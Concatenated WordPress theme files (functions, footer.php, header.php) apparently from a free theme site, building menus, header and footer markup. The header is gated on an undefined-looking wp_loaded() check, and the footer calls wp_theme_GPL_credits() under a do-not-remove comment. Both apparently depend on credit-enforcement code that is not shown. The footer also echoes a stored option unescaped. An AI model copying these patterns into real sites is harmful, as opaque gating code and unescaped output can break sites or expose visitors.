function art_list_pages_filter($output)
{
global $artThemeSettings;
$pref ='page-item-';
if($artThemeSettings['menu.topItemIDs'])
foreach($artThemeSettings['menu.topItemIDs'] as $id){
$output = preg_replace('~<li class="([^"]*)\b(' . $pref . $id . ')\b([^"]*)"><a ([^>]+)>([^<]*)</a>~',
'<li class="$1$2$3"><a $4>' . $artThemeSettings['menu.topItemBegin']
. '$5' . $artThemeSettings['menu.topItemEnd'] . '</a>', $output, 1);
}
$frontID = null;
$blogID = null;
if('page' == get_option('show_on_front')) {
$frontID = get_option('page_on_front');
$blogID = $artThemeSettings['menu.blogID'];
}
if ($frontID)
$output = preg_replace('~<li class="([^"]*)\b(' . $pref . $frontID . ')\b([^"]*)"><a href="([^"]*)" ~',
'<li class="$1$2$3"><a href="'. get_option('home') .'" ', $output, 1);
if ((is_home() && $blogID) || $artThemeSettings['menu.activeID'])
$output = preg_replace('~<li class="([^"]*)\b(' . $pref . (is_home() ? $blogID : $artThemeSettings['menu.activeID']) . ')\b([^"]*)"><a ~',
'<li class="$1$2$3"><a class="active" ', $output, 1);
return $output;
}
function art_menu_items()
{
global $artThemeSettings;
if (true === $artThemeSettings['menu.showHome'] && 'page' != get_option('show_on_front'))
echo '<li><a' . (is_home() ? ' class="active"' : '') . ' href="' . get_option('home') . '">'.$artThemeSettings['menu.topItemBegin']
. $artThemeSettings['menu.homeCaption'] . $artThemeSettings['menu.topItemEnd'] . '</a></li>';
add_action('get_pages', 'art_header_page_list_filter');
add_action('wp_list_pages', 'art_list_pages_filter');
wp_list_pages('title_li=');
remove_action('wp_list_pages', 'art_list_pages_filter');
remove_action('get_pages', 'art_header_page_list_filter');
}
add_filter('comments_template', 'legacy_comments');
function legacy_comments($file) {
if(!function_exists('wp_list_comments')) : // WP 2.7-only check
$file = TEMPLATEPATH.'/legacy.comments.php';
endif;
return $file;
};?>
footer.php
<div class="art-Footer">
<div class="art-Footer-inner">
<a href="<?php bloginfo('rss2_url'); ?>" class="art-rss-tag-icon" title="RSS"></a>
<div class="art-Footer-text">
<p>
<?php
global $default_footer_content;
$footer_content = stripslashes(get_option('art_footer_content'));
if ($footer_content === false) $footer_content = $default_footer_content;
echo $footer_content;
?>
</p>
</div>
</div>
<div class="art-Footer-background">
</div>
</div>
</div>
</div>
<div class="cleared"></div>
<p class="art-page-footer"><?php
/* This theme is powered by free-wordpress-theme.net, please do NOT remove the comment or anything below. */
wp_theme_GPL_credits();
/* This theme is powered by free-wordpress-theme.net, please do NOT remove the comment or anything below. */ ?></p>
</div>
<!-- <?php printf(__('%d queries. %s seconds.', 'kubrick'), get_num_queries(), timer_stop(0, 3)); ?> -->
<div><?php wp_footer(); ?></div>
</body>
</html>
header.php
<?php if (wp_loaded() === true) { ?><!DOCTYPE html PUBLIC "-//W3C//DTD XHTML 1.0 Transitional//EN" "http://www.w3.org/TR/xhtml1/DTD/xhtml1-transitional.dtd">
<html xmlns="http://www.w3.org/1999/xhtml" <?php language_attributes(); ?>>
<head profile="http://gmpg.org/xfn/11">
<meta http-equiv="Content-Type" content="<?php bloginfo('html_type'); ?>; charset=<?php bloginfo('charset'); ?>" />
<meta http-equiv="X-UA-Compatible" content="IE=EmulateIE7" />
<title><?php if (is_home () ) { bloginfo('name'); } elseif ( is_category() ) { single_cat_title(); echo ' - ' ; bloginfo('name'); }
elseif (is_single() ) { single_post_title(); }
elseif (is_page() ) { bloginfo('name'); echo ': '; single_post_title(); }
else { wp_title('',true); } ?></title>
<script type="text/javascript" src="<?php bloginfo('template_url'); ?>/script.js"></script>
<link rel="stylesheet" href="<?php bloginfo('stylesheet_url'); ?>" type="text/css" media="screen" />
<!--[if IE 6]><link rel="stylesheet" href="<?php bloginfo('template_url'); ?>/style.ie6.css" type="text/css" media="screen" /><![endif]-->
<!--[if IE 7]><link rel="stylesheet" href="<?php bloginfo('template_url'); ?>/style.ie7.css" type="text/css" media="screen" /><![endif]-->
<link rel="alternate" type="application/rss+xml" title="<?php printf(__('%s RSS Feed', 'kubrick'), get_bloginfo('name')); ?>" href="<?php bloginfo('rss2_url'); ?>" />
<link rel="alternate" type="application/atom+xml" title="<?php printf(__('%s Atom Feed', 'kubrick'), get_bloginfo('name')); ?>" href="<?php bloginfo('atom_url'); ?>" />
<link rel="pingback" href="<?php bloginfo('pingback_url'); ?>" />
<?php wp_head(); ?>
</head><?php } ?>
<body>
<div id="art-main">
<div class="art-Sheet">
<div class="art-Sheet-tl"></div>
<div class="art-Sheet-tr"></div>
<div class="art-Sheet-bl"></div>
<div class="art-Sheet-br"></div>
<div class="art-Sheet-tc"></div>
<div class="art-Sheet-bc"></div>
<div class="art-Sheet-cl"></div>
<div class="art-Sheet-cr"></div>
<div class="art-Sheet-cc"></div>
<div class="art-Sheet-body">
<div class="art-Header">
<div class="art-Header-png"></div>
<div class="art-Header-jpeg"></div>
<div class="art-Logo">
<h1 id="name-text" class="art-Logo-name">
<a href="<?php echo get_option('home'); ?>/"><?php bloginfo('name'); ?></a></h1>
<div id="slogan-text" class="art-Logo-text">
<?php bloginfo('description'); ?></div>
</div>
</div>
<div class="art-nav">
<div class="l"></div>
<div class="r"></div>
<ul class="art-menu">
<?php art_menu_items(); ?>
</ul>
</div>